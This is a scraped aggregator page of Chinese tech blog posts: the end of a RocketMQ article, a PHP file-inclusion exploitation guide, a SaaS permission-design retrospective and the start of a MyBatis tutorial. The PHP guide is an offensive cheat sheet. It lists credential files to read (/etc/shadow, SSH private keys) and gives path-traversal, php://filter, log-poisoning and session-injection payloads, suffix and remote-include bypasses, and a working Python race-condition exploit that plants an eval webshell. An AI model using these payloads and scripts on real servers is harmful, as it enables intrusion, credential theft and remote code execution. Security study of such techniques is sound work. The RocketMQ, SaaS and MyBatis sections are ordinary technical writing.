
     

      由於近些年阿裏海外業務的擴展和投入,RocketMQ 等中間件對常見的海外業務場景的支持也更加健全。典型的場景包括跨單元消費以及消息路由。跨單元消費是比較好實現的,就是在consumer中增加一個配置,指定接收消息的來源單元,RocketMQ內部會完成客戶端從指定單元拉取消息的工作。而全球消息路由則是需要一些公共資源,消息的發送方只能將消息發送到一個指定單元/機房,然後將消息路由到另外指定的單元,consumer部署在指定單元。區別在於一個配置在客戶端,一個配置在服務端。

     

     

    總結

    從RocketMQ的設計、原理以及用過的個人用過的其他分佈式框架上看,典型的分佈式系統在設計中無外乎要解決的就是以下幾點,RocketMQ全都用上了。

    • 服務的註冊和發現。一般會有一個統一的註冊中心進行管理維護。
    • 服務的提供方和使用方間的通信,可以是異步也可以是同步,例如dubbo服務同步服務,而消息類型就是異步通信。
    • HA——高可用架構。八字決 ———— “主從同步,讀寫分離”。 要再加一句的話可以是“異地多活”。
    • 負載均衡。典型的負載均衡算法在文章內容裏面已經列出好幾種了,常用的基本也就這些。

    當然消息框架設計中用到的套路遠不止這些,包括如何保證消息消費的順序性、消費者和服務端通信、以及消息持久化等問題也是難點和重點,同樣,分佈式緩存系統也需要解決這些問題,先寫到這裏,要完全理解並自己設計一個這樣的框架難度還是相當大的。

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    台北網頁設計公司這麼多該如何選擇?

    ※智慧手機時代的來臨,RWD網頁設計為架站首選

    ※評比南投搬家公司費用收費行情懶人包大公開

    ※回頭車貨運收費標準

    網頁設計最專業,超強功能平台可客製化

    ※別再煩惱如何寫文案,掌握八大原則!

  • PHP文件包含 整理

    PHP文件包含 整理

    文件包含

    目錄

    • 文件包含
      • 1. 概述
        • 1.1 常見的引發漏洞的函數:
        • 1.2 利用條件
        • 1.3 分類和利用思路
      • 2. 利用方法
        • 2.1 配合文件解析漏洞來包含
        • 2.2 讀取系統敏感文件(路徑遍歷)
        • 2.3 包含http日誌文件
        • 2.4 包含SSH日誌
        • 2.5 使用PHP偽協議
        • 2.6 配合phpinfo頁面包含臨時文件
        • 2.7 包含Session
        • 2.9 包含環境變量
      • 3. 繞過技巧
        • 3.1 限制路徑路徑
        • 3.2 限制後綴
        • 3.3 allow_url_include = off
        • 3.4 Base64 處理的session文件
        • 3.5 自己構造Session
        • 3.6 CVE-2018-14884

    參考資料:
    文件包含漏洞簡介
    利用phpinfo條件競爭
    PHP文件包含漏洞利用思路與Bypass總結手冊

    1. 概述

    什麼是文件包含:文件包含函數所加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他文件或惡意代碼,導致信息泄露或代碼注入。

    要求:包含的文件路徑攻擊者可控,被包含的文件web服務器可訪問。

    1.1 常見的引發漏洞的函數:

    1. include()執行到include時才包含文件,文件不存在時提出警告,但是繼續執行
    2. require()只要程序運行就會包含文件,文件不存在產生致命錯誤,並停止腳本
    3. include_once()require_once()只執行一次,如果一個文件已經被包含,則這兩個函數不會再去包含(即使文件中間被修改過)。

    當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),其中的文本內容都會直接作為php代碼進行解析。

    1.2 利用條件

    • 包含函數通過動態變量的方式引入需要包含的參數。

    • PHP中只要文件內容符合PHP語法規範,不管是什麼後綴,都會被解析。

    1.3 分類和利用思路

    文件包含通常按照包含文件的位置分為兩類:本地文件包含(LFI)和遠程文件包含(RFI),顧名思義,本地文件包含就是指包含本地服務器上存儲的一些文件;遠程文件包含則是指被包含的文件不存儲在本地。

    本地文件包含

    1. 包含本地文件、執行代碼
    2. 配合文件上傳,執行惡意腳本
    3. 讀取本地文件
    4. 通過包含日誌的方式GetShell
    5. 通過包含/proc/self/envion文件GetShell
    6. 通過偽協議執行惡意腳本
    7. 通過phpinfo頁面包含臨時文件

    遠程文件包含

    1. 直接執行遠程腳本(在本地執行)

    遠程文件包含需要在php.ini中進行配置,才可開啟:

    allow_url_fopen = On:本選項激活了 URL 風格的 fopen 封裝協議,使得可以訪問 URL 對象文件。默認的封裝協議提供用 ftp 和 http 協議來訪問遠程文件,一些擴展庫例如 zlib 可能會註冊更多的封裝協議。(出於安全性考慮,此選項只能在 php.ini 中設置。)

    allow_url_include = On:此選項允許將具有URL形式的fopen包裝器與以下功能一起使用:include,include_once,require,require_once。(該功能要求allow_url_fopen開啟)

    2. 利用方法

    2.1 配合文件解析漏洞來包含

    http://target.com/?page=../../upload/123.jpg/.php

    2.2 讀取系統敏感文件(路徑遍歷)

    include.php?file=../../../../../../../etc/passwd

    Windows:

    ​ C:\boot.ini //查看系統版本
    ​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
    ​ C:\Windows\repair\sam //存儲系統初次安裝的密碼
    ​ C:\Program Files\mysql\my.ini //Mysql配置
    ​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
    ​ C:\Windows\php.ini //php配置信息
    ​ C:\Windows\my.ini //Mysql配置信息

    Linux:

    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(文件標識符)
    /proc/mounts
    /porc/config.gz

    2.3 包含http日誌文件

    通過包含日誌文件,來執行夾雜在URL請求或者User-Agent頭中的惡意腳本

    1. 通過讀取配置文件確定日誌文件地址

      默認地址通常為:/var/log/httpd/access_log/var/log/apache2/access.log

    2. 請求時直接在URL後面加上腳本即可http://www.target.com/index.php<?php phpinfo();?>,之後去包含這個日誌文件即可。

    3. 注意:日誌文件會記錄最為原始的URL請求,在瀏覽器地址欄中輸入的地址會被URL編碼,通過CURl或者Burp改包繞過編碼。

    apache+Linux 日誌默認路徑
    /etc/httpd/logs/access_log
    /var/log/httpd/access_log
    xmapp日誌默認路徑
    D:/xampp/apache/logs/access.log
    D:/xampp/apache/logs/error.log
    IIS默認日誌文件
    C:/WINDOWS/system32/Logfiles
    %SystemDrive%/inetpub/logs/LogFiles
    nginx
    /usr/local/nginx/logs
    /opt/nginx/logs/access.log

    通過包含環境變量/proc/slef/enversion來執行惡意腳本,修改HTTP請求的User-Agent報頭,但是沒復現成功

    2.4 包含SSH日誌

    和包含HTTP日誌類似,登錄用戶的用戶名會被記錄在日誌中,如果可以讀取到ssh日誌文件,則可以利用惡意用戶名注入php代碼。

    SSH登錄日誌常見存儲位置:/var/log/auth.log/var/log/secure

    2.5 使用PHP偽協議

    PHP內置了很多URL 風格的封裝協議,除了用於文件包含,還可以用於很多文件操作函數。在phpinfo的Registered PHP Streams中可以找到目前環境下可用的協議。

    file:// — 訪問本地文件系統
    http:// — 訪問 HTTP(s) 網址
    ftp:// — 訪問 FTP(s) URLs
    php:// — 訪問各個輸入/輸出流(I/O streams
    zlib:// — 壓縮流
    data:// — 數據(RFC 2397)
    glob:// — 查找匹配的文件路徑模式
    phar:// — PHP 壓縮文件
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音頻流
    expect:// — 處理交互式的流
    
    1. file://訪問本地文件系統http://target.com/?page=file://D:/www/page.txt,正反斜線都行(windows),對於共享文件服務器可以使用\\smbserver\share\path\to\winfile.ext

    2. php://input訪問輸入輸出流:?page=php://input,在POST內容中輸入想要執行的腳本。

    3. php://filter:是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。

      全部可用過濾器列表:https://www.php.net/manual/zh/filters.php

      通常利用該偽協議來讀取php源碼,通過設定編碼方式(以base64編碼為例),可以防止讀取的內容被當做php代碼解析,利用方式(就是read寫不寫的區別):

      index.php?file=php://filter/read=convert.base64-encode/resource=index.php
      index.php?file=php://filter/convert.base64-encode/resource=index.php
      
    4. data://數據流封裝:?page=data://text/plain,腳本

    1. zip://壓縮流:創建惡意代碼文件,添加到壓縮文件夾,上傳,無視後綴。通過?page=zip://絕對路徑%23文件名訪問,5.2.9之前是只能絕對路徑。

    備註:

    1. 文件需要絕對路徑才能訪問

    2. 需要通過#(也就是URL中的%23)來指定代碼文件

    3. compress.bzip2://compress.zlib://壓縮流,與zip類似,但是支持相對路徑無視後綴

      bzipgzip是對單個文件進行壓縮(不要糾結要不要指定壓縮包內的文件)

      ?file=compress.bzip2://路徑
      ?file=compress.zlib://路徑
      
    4. phar://支持zip、phar格式的壓縮(歸檔)文件,無視後綴(也就是說jpg後綴照樣給你解開來),?file=phar://壓縮包路徑/壓縮包內文件名,絕對路徑和相對路徑都行。

      利用方法:

      index.php?file=phar://test.zip/test.txt
      index.php?file=phar://test.xxx/test.txt
      

      製作phar文件(php5.3之後):

      1. 設置php.iniphar.readonly=off
      2. 製作生成腳本
      <?php 
      @unlink("phar.phar");
      $phar = new Phar("phar.phar");
      $phar->startBuffering();
      $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
      $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要壓縮的文件及內容
      $phar->stopBuffering(); //簽名自動計算
      ?>
      // 這個腳本需要使用php.exe 來生成
      
      1. 生成腳本2

        <?php
        $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
        $p->addFromString('test.txt', '<?php phpinfo();?>');
        ?>
        //這個腳本可以通過訪問來觸發,在本地生成一個test.123,但是不能生成後綴為phar的文件(其他的都行,甚至是php)
        

    2.6 配合phpinfo頁面包含臨時文件

    向phpinfo頁面上傳文件的時候,phpinfo會返回臨時文件的保存路徑

    臨時文件存活時間很短,當連接結束后,臨時文件就會消失。條件競爭

    只要發送足夠多的的數據,讓頁面還未反應過來的時候去包含文件,即可。

    1. 發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據

    2. 因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大

    3. php默認的輸出緩衝區大小為4096,可以理解為php每次返回4096個字節給socket連接

    4. 所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包

    5. 此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除

    6. 利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell

      利用腳本exp

    2.7 包含Session

    1. PHP將用戶Session以文件的形式保存在主機中,通過php.ini文件中的session.save_path字段可以設置具體的存儲位置,通過phpinfo頁面也可以查詢到;文件命名格式為:sess_<PHPSESSID>,其中PHPSESSID為用戶cookie中PHPSESSID對應的值;Session文件一些可能的保存路徑:

      /var/lib/php/sess_PHPSESSID
      /var/lib/php/sessions/sess_PHPSESSID
      /tmp/sess_PHPSESSID
      /tmp/sessions/sess_PHPSESSID
      
    2. Session文件內容有兩種記錄格式:php、php_serialize,通過修改php.ini文件中session.serialize_handler字段來進行設置。

      以php格式記錄時,文件內容中以|來進行分割:

      以php_serialize格式記錄時,將會話內容以序列化形式存儲:

    3. 如果保存的session文件中字符串可控,那麼就可以構造惡意的字符串觸發文件包含。

      先構造一個含有惡意字符串的session文件:?user=test&cmd=<?php phpinfo();?>,之後包含這個會話的session文件。

    2.9 包含環境變量

    CGI****利用條件:1231、php以cgi方式運行,這樣environ才會保存UA頭。``2、environ文件存儲位置已知,且environ文件可讀。利用姿勢:proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。

    3. 繞過技巧

    3.1 限制路徑路徑

    服務器限制了訪問文件的路徑,例如在變量前面追加'/var/www/html'限制只能包含web目錄下的文件,可以利用路徑穿越進行對抗。

    ../../../../../../../ect/passwd

    對於輸入有過濾的情況,可以嘗試用URL編碼進行轉換,比如%2e%2e%2f,甚至是二次轉換。

    3.2 限制後綴

    對用戶輸入添加後綴,比如:自動添加.jgp後綴、或者期望用戶輸如一個父目錄,服務器自動拼接上子目錄和文件。

    1. 如果是遠程文件包含的話可以利用URL的特性?#

      構造出類似於http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路徑,使得服務器預設的後綴變成URL的參數或者頁面錨點。

    2. 利用壓縮協議:構建一個壓縮包歸檔文件,裡面包含上服務器加的後綴,這樣完整的路徑將指向壓縮包內文件。

      比如壓縮包中文件為test.zip->test->defautl->test.php ,構造url:include.php?file=phar://test.zip/test,服務端拼接后變成include('phar://test.zip/test/defautl/test.php')

    3. 利用超長字符串進行截斷,在php<5.2.8的版本可以設置一個超級長的路徑,超過的部分將被服務器丟棄。

      win最長為256字節、Linux為4096字節,構造include.php?file=./././././(n多個)././test.php

    4. 利用00截斷:php<5.3.4時可用%00對字符串進行截斷,%00被是識別為字符串終止標記。

    3.3 allow_url_include = off

    利用SMB、webdav等使用UNC路徑的文件共享進行繞過。

    1. 利用SMB(只對Win的web服務器有效):構建SMB服務器后,構造URL:?include.php?file=\\172.16.97.128\test.php
    2. 利用WebDAV:構造連接?include.php?file=//172.16.97.128/webdav/test.php

    3.4 Base64 處理的session文件

    為了保護用戶的信息或存儲更多格式的信息,很多時候都會對Session文件進行編碼,以Base64編碼為例,闡述繞過思路。了解服務端使用的編碼模式以及對應的解碼模式;合理安排payload使其滿足解碼條件,只要不干擾php代碼運行就可以。

    1. 根據上邊介紹的偽協議的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可對base64編碼的文件進行解碼,但是直接解碼session文件時會出現亂碼。其原因在於session文檔中包含的並非全部都是base64編碼的內容,session開頭的user|s:24:字符串也被當做base64進行解碼,從而導致出現亂碼的情況,因此如果能忽略前面的字符,就可以完美解碼了。

    2. 有利條件:PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容,直接忽略過去並拼接之後的內容。也就是說,Session文件中的:|{};"這類字符對Base64解碼沒有影響。

    3. Base64解碼過程簡單來說就是:將字符串按照每4個字符分為一組,解碼為二進制數據流再拼接到一起,因此要保證我們可以將payload正確解出,需要將編碼后的payload其實位置控制在4n+1的位置(第5、9、13…位)。(base64編碼后長度為原數據長度的4/3)

    4. user:|s:24:"有效字符有7個,若要將payload置於第9位,則需要再增加一個字符,簡單有效的辦法就是讓24變成一個三位數——填充無效數據擴充payload長度。

    5. serialize模式同理,session文件中a:1:{s:4:"user";s:24:"共11個干擾字符,因此同樣只需將payload產生的字符串長度增加到三位數即可。

    3.5 自己構造Session

    有的網站可能不提供用戶會話記錄,但是默認的配置可以讓我們自己構造出一個Session文件。相關的選項如下:

    • session.use_strict_mode = 0,允許用戶自定義Session_ID,也就是說可以通過在Cookie中設置PHPSESSID=xxx將session文件名定義為sess_xxx
    • session.upload_progress.enabled = on,PHP可以在每個文件上傳時監視上傳進度。
    • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是session.upload_progress.prefixsession.upload_progress.name連接在一起的值。

    利用思路:

    1. 上傳一個文件

    2. 上傳時設置一個自定義PHPSESSIDcookie

    3. POST PHP_SESSION_UPLOAD_PROGRESS惡意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

      這樣就會在Session目錄下生成一個包含惡意代碼的session文件。

    4. 但是php默認設置中會打開session.upload_progress.cleanup = on,也就是當文件上傳完成後會自動刪除session文件,使用條件競爭繞過,惡意代碼功能設置為生成一個shell.php。

    利用exp:

    import io
    import sys
    import requests
    import threading
    
    sessid = 'test'
    
    def POST(session):
        while True:
            f = io.BytesIO(b'a' * 1024 * 50)
            session.post(
                'http://127.0.0.1/index.php',
                data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
                files={"file":('q.txt', f)},
                cookies={'PHPSESSID':sessid}
            )
    
    def READ(session):
        while True:
            response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
            # print('[+++]retry')
            # print(response.text)
    
            if 'PHP Version' not in response.text:
                print('[+++]retry')
            else:
                print(response.text)
                sys.exit(0)
    
    with requests.session() as session:
        t1 = threading.Thread(target=POST, args=(session, ))
        t1.daemon = True
        t1.start()
    
        READ(session)
    

    3.6 CVE-2018-14884

    CVE-2018-14884會造成php7出現段錯誤,從而導致垃圾回收機制失效,POST的文件會保留在系統緩存目錄下而不會被清除。

    影響版本:

    PHP Group PHP 7.0.*,<7.0.27
    PHP Group PHP 7.1.*,<7.1.13
    PHP Group PHP 7.2.*,<7.2.1

    windows 臨時文件:C:\windows\php<隨機字符>.tmp

    linux臨時文件:/tmp/php<隨機字符>

    1. 漏洞驗證include.php?file=php://filter/string.strip_tags/resource=index.php返回500錯誤

    2. post惡意字符串

      import requests
      
      files = {
        'file': '<?php phpinfo();'
      }
      url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
      r = requests.post(url=url, files=files, allow_redirects=False)
      
    3. 在臨時文件中可以看到惡意代碼成功寫入

    4. 至於包含嘛,爆破或者其他手段探測這個臨時文件吧。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※回頭車貨運收費標準

  • SaaS權限設計總結

    SaaS權限設計總結

    2年前轉到SaaS部門之後期間斷斷續續做着權限相關的業務,這篇文章主要回顧下過往的設計以及其原因和利弊。
    不過因為是線上業務,會省略掉很多細節以及賬號體系和權益相關得部分,只討論權限相關。
    本文也不會涉及到技術層面的實現僅討論設計。

    原初的混沌

    SaaS和一些內部系統/2C業務的權限最大不同點是他是天然多租戶的。
    用戶之上會有一層組織(Organization)的概念,組織只擁有所有權限的子集(取決於組織購買的服務),並且組織可以自行管理部分權限。
    省略了部門,群組等等概念的簡化圖:

    增加了組織概念:

    剛接手的這塊的時候發現因為歷史原因設計得比較粗糙。
    整個權限系統只有兩個表:權限定義 和 組織權限關係。

    默認情況下組織內的所有用戶都能獲得分配給組織的權限,需要區分對待管理員和用戶的權限都是在代碼中進行硬編碼,手動去除對應權限。

    當時的功能:

    • 組織權限分配 – ACL
    • 組織內用戶權限分配 – 硬編碼

    這個模型嚴重限制了售賣策略和商家的靈活度,在系統中存在大量的硬編碼為了某個業務去修改權限的關係。
    後續在這一版上勉強引入了組織內角色分配的功能,但因為業務設計過於簡單,沒法支撐後續的操作,最後決定重構。

    業務場景驅動

    這中間經歷了兩次模型的調整和服務的變更。
    第一次想做和業務無關之後其他業務可復用的模型,基於RBAC構造了角色,角色”用戶”關係,角色權限關係;為了覆蓋ACL場景構建了”用戶”權限關係;為了多個業務方接入定義了domain,並且權限,”用戶”的定義和角色都和domain掛鈎。
    對外提供的RBAC接口本質上是ACL,”用戶”分配角色,角色內權限變更會引起”用戶”和權限關係的變化。
    至於為什麼要這麼設計,因為考慮到了一個分配角色后能手工修改用戶權限的場景,初步評估這個場景是有必要的。
    為了保證”用戶”分配了多個角色后,如果存在同樣的權限點不會因為之後取消某個角色被全部取消了引入了refCount

    此時就存在了一個可以直接使用的ACL(obj_access_relation)和外觀看上去是RBAC(但其本質還是ACL)的基礎設施。

    設置了兩個domain,針對組織依舊使用ACL,針對組織內的分配場景使用RBAC。

    增加權限定義概念

    在這之前要說明的是在設計時,組織中存在了一個管理員的概念,他不是某個角色,而是類似於組織creator的概念,其權限等同於組織的權限並且僅有一個,他的定義是為了簡化組織的管理,作為了這個組織的用戶層面映射。

    權限定義這一概念的引入是為了應對組織內分配關係。
    因為現在存在了組織和用戶兩個維度,分配關係最簡單的場景下會有幾種:

    1. 權限用於售賣,組織需要分配,用戶需要分配;
    2. 權限用於售賣,組織需要分配,用戶自動獲得;
    3. 權限用於售賣,組織需要分配,用戶不能獲得;(僅管理員使用)
    4. 權限用於管理用戶,組織自動獲得,用戶需要分配;
    5. 權限用於管理用戶,組織自動獲得,用戶自動獲得。(這個場景就不要用權限了)
    6. 權限用於管理用戶,組織自動獲得,用戶不能獲得;(僅管理員使用)
      對於權限組織

    權限定義內有兩個維度: 組織分配關係(默認獲得,需要分配),用戶分配關係(默認獲得組織的,需要分配,無法獲得)

    經過實踐這一套不是特別方便:

    1. 不同domain需要定義不同的權限,但這個場景兩個domain下的權限其實是一致的;
    2. 過於業務獨立,一些業務場景自定義的東西難以插入其中,比如業務額外定義的權限定義表。

    後續為了更好支持SaaS的權限系統把這套基礎設施複製到了SaaS權限內,這套基礎設施依舊留着給其他業務發光發熱。

    到這一步的權限系統有如下幾個特性:

    1. 組織權限可通過權限定義和分配獲得,組織下存在一個管理者其權限等同於組織權限;
    2. 組織內用戶權限通過權限定義和角色分配獲得,並且約束用戶權限不能大於組織(防止組織的某個權限過期后其用戶還能繼續使用);
    3. 存在系統預設的系統角色,出現條件為組織存在其角色依賴的權限;
    4. 組織可對其擁有的且定義為用戶可分配的權限組裝自定義角色分配給用戶。

    針對用戶的高級功能。

    上述特性中有提到用戶權限不能大於組織,這其實僅僅是針對組織域。
    如果針對用戶層面販賣高級功能,就不能被這一層限制。
    於是又引入了另一個域,其和組織域是正交的,雙方不存在邏輯層面上的關係。
    也就是 管理員通過VIP獲得的權限不會影響到組織權限,用戶通過VIP獲得的權限不受到組織權限約束。

    更多KA定製場景

    做SaaS有一點比較困難的是KA需求,作為最重要的一批客戶,提供了大量現金流。KA的定製需求不能被忽略。
    在迭代中增加了不少定製場景並泛化使用。
    比如:

    • 組織層面的權限定義,為了應對客戶嫌角色分配麻煩,可以組織內開關某個權限;
    • VIP繼承組織權限設計,為了應對客戶在大量購買某VIP分配之後不想重複分配角色;
    • 權限自動賦予某些部門下用戶

    等等

    這些問題的共同點就是分配行為的繁瑣。
    之前引入的權限定義本身就是在組織分配層面解決這個問題,有了一些ABAC的特徵。
    在這些KA需求的迭代中也增加了更多subject attribute,例如組織ID,VIP類型,以及之後的更多拓展。

    基於分配給用戶和解耦用戶直接分配的ACL和RBAC模型在這些領域都不能很好發揮,因為他們的作用前提是發生了分配關係,為了滿足更多的KA場景以及系統本身迭代會引入更多的ABAC元素。

    之後的規劃

    現在線上運行的這一套系統已經和整個商業鏈路打通,客戶的服務購買/續期/增購會有一部分反應到權限系統中,新的功能需要商業化也都會統一接入其中,權限也從最開始的百來個發展到近千個。

    但當前系統的不足也很明顯,整套體系的架構比較雜亂。

    • 最開始做的偽RBAC那一套最後實踐沒有對應的場景,而且容易發生不一致的問題,需要在系統層面移除掉(但ACL本身保留);
    • ABAC實現零散且混亂,這一套要需要體系化重寫;
    • 系統需要泛化到2C場景,打通2B和2C的商業化鏈路;
    • 缺失了數據權限控制(object),但這一套應該不會和當前權限這一套做在一起,兩者的業務對象相差有點多(一個是組織用戶和功能,一個是用戶和各類數據)。

    Written with StackEdit.

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※Google地圖已可更新顯示潭子電動車充電站設置地點!!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計最專業,超強功能平台可客製化

    ※回頭車貨運收費標準

  • 天哪!手動編寫mybatis雛形竟然這麼簡單

    天哪!手動編寫mybatis雛形竟然這麼簡單

    前言

    mybaits 在ORM 框架中,可算是半壁江山了,由於它是輕量級,半自動加載,靈活性和易拓展性。深受廣大公司的喜愛,所以我們程序開發也離不開mybatis 。但是我們有對mabtis 源碼進行研究嗎?或者想看但是不知道怎麼看的苦惱嗎?

    歸根結底,我們還是需要知道為什麼會有mybatis ,mybatis 解決了什麼問題?
    想要知道mybatis 解決了什麼問題,就要知道傳統的JDBC 操作存在哪些痛點才促使mybatis 的誕生。
    我們帶着這些疑問,再來一步步學習吧。

    原始JDBC 存在的問題

    所以我們先來來看下原始JDBC 的操作:
    我們知道最原始的數據庫操作。分為以下幾步:
    1、獲取connection 連接
    2、獲取preparedStatement
    3、參數替代佔位符
    4、獲取執行結果resultSet
    5、解析封裝resultSet 到對象中返回。

    如下是原始JDBC 的查詢代碼,存在哪些問題?

    public static void main(String[] args) {
            String dirver="com.mysql.jdbc.Driver";
            String url="jdbc:mysql://localhost:3306/mybatis?characterEncoding=utf-8";
            String userName="root";
            String password="123456";
    
            Connection connection=null;
            List<User> userList=new ArrayList<>();
            try {
                Class.forName(dirver);
                connection= DriverManager.getConnection(url,userName,password);
    
                String sql="select * from user where username=?";
                PreparedStatement preparedStatement=connection.prepareStatement(sql);
                preparedStatement.setString(1,"張三");
                System.out.println(sql);
                ResultSet resultSet=preparedStatement.executeQuery();
    
                User user=null;
                while(resultSet.next()){
                    user=new User();
                    user.setId(resultSet.getInt("id"));
                    user.setUsername(resultSet.getString("username"));
                    user.setPassword(resultSet.getString("password"));
                    userList.add(user);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }finally {
                try {
                    connection.close();
                } catch (SQLException e) {
                    e.printStackTrace();
                }
            }
    
            if (!userList.isEmpty()) {
                for (User user : userList) {
                    System.out.println(user.toString());
                }
            }
    
        }
    

    小夥伴們發現了上面有哪些不友好的地方?
    我這裏總結了以下幾點:
    1、數據庫的連接信息存在硬編碼,即是寫死在代碼中的。
    2、每次操作都會建立和釋放connection 連接,操作資源的不必要的浪費。
    3、sql 和參數存在硬編碼。
    4、將返回結果集封裝成實體類麻煩,要創建不同的實體類,並通過set方法一個個的注入。

    存在上面的問題,所以mybatis 就對上述問題進行了改進。
    對於硬編碼,我們很容易就想到配置文件來解決。mybatis 也是這麼解決的。
    對於資源浪費,我們想到是用連接池,mybatis 也是這個解決的。
    對於封裝結果集麻煩,我們想到是用JDK的反射機制,好巧,mybatis 也是這麼解決的。

    設計思路

    既然如此,我們就來寫一個自定義吃持久層框架,來解決上述問題,當然是參照mybatis 的設計思路,這樣我們在寫完之後,再來看mybatis 的源碼就恍然大悟,這個地方這樣配置原來是因為這樣啊。
    我們分為使用端和框架端兩部分。

    使用端

    我們在使用mybatis 的時候是不是需要使用SqlMapConfig.xml 配置文件,用來存放數據庫的連接信息,以及mapper.xml 的指向信息。mapper.xml 配置文件用來存放sql 信息。
    所以我們在使用端來創建兩個文件SqlMapConfig.xml 和mapper.xml。

    框架端

    框架端要做哪些事情呢?如下:
    1、獲取配置文件。也就是獲取到使用端的SqlMapConfig.xml 以及mapper.xml的 文件
    2、解析配置文件。對獲取到的文件進行解析,獲取到連接信息,sql,參數,返回類型等等。這些信息都會保存在configuration 這個對象中。
    3、創建SqlSessionFactory,目的是創建SqlSession的一個實例。
    4、創建SqlSession ,用來完成上面原始JDBC 的那些操作。

    那在SqlSession 中 進行了哪些操作呢?
    1、獲取數據庫連接
    2、獲取sql,並對sql 進行解析
    3、通過內省,將參數注入到preparedStatement 中
    4、執行sql
    5、通過反射將結果集封裝成對象

    使用端實現

    好了,上面說了一下,大概的設計思路,主要也是仿照mybatis 主要的類實現的,保證類名一致,方便我們後面閱讀源碼。我們先來配置好使用端吧,我們創建一個maven 項目。
    在項目中,我們創建一個User實體類

    public class User {
        private Integer id;
        private String username;
        private String password;
        private String birthday;
        //getter()和setter()方法
    }
    

    創建SqlMapConfig.xml 和Mapper.xml
    SqlMapConfig.xml

    <?xml version="1.0" encoding="UTF-8" ?>
    <configuration>
        <property name="driverClass" value="com.mysql.jdbc.Driver"></property>
        <property name="jdbcUrl" value="jdbc:mysql://localhost:3306/mybatis?serverTimezone=UTC&amp;characterEncoding=utf8&amp;useUnicode=true&amp;useSSL=false"></property>
        <property name="userName" value="root"></property>
        <property name="password" value="123456"></property>
        
        <mapper resource="UserMapper.xml">
        </mapper>
    </configuration>
    

    可以看到我們xml 中就配置了數據庫的連接信息,以及mapper 一個索引。mybatis中的SqlMapConfig.xml 中還包含其他的標籤,只是豐富了功能而已,所以我們只用最主要的。

    mapper.xml
    是每個類的sql 都會生成一個對應的mapper.xml 。我們這裏就用User 類來說吧,所以我們就創建一個UserMapper.xml

    <?xml version="1.0" encoding="UTF-8" ?>
    <mapper namespace="cn.quellanan.dao.UserDao">
        <select id="selectAll" resultType="cn.quellanan.pojo.User">
            select * from user
        </select>
        <select id="selectByName" resultType="cn.quellanan.pojo.User" paramType="cn.quellanan.pojo.User">
            select * from user where username=#{username}
        </select>
    </mapper>
    

    可以看到有點mybatis 裏面文件的味道,有namespace表示命名空間,id 唯一標識,resultType 返回結果集的類型,paramType 參數的類型。
    我們使用端先創建到這,主要是兩個配置文件,我們接下來看看框架端是怎麼實現的。

    加油哈哈。

    框架端實現

    框架端,我們按照上面的設計思路一步一步來。

    獲取配置

    怎麼樣獲取配置文件呢?我們可以使用JDK自帶自帶的類Resources加載器來獲取文件。我們創建一個自定義Resource類來封裝一下:

    import java.io.InputStream;
    public class Resources {
        public  static InputStream getResources(String path){
            //使用系統自帶的類Resources加載器來獲取文件。
            return Resources.class.getClassLoader().getResourceAsStream(path);
        }
    }
    

    這樣通過傳入路徑,就可以獲取到對應的文件流啦。

    解析配置文件

    上面獲取到了SqlMapConfig.xml 配置文件,我們現在來解析它。
    不過在此之前,我們需要做一點準備工作,就是解析的內存放到什麼地方?
    所以我們來創建兩個實體類Mapper 和Configuration。

    Mapper
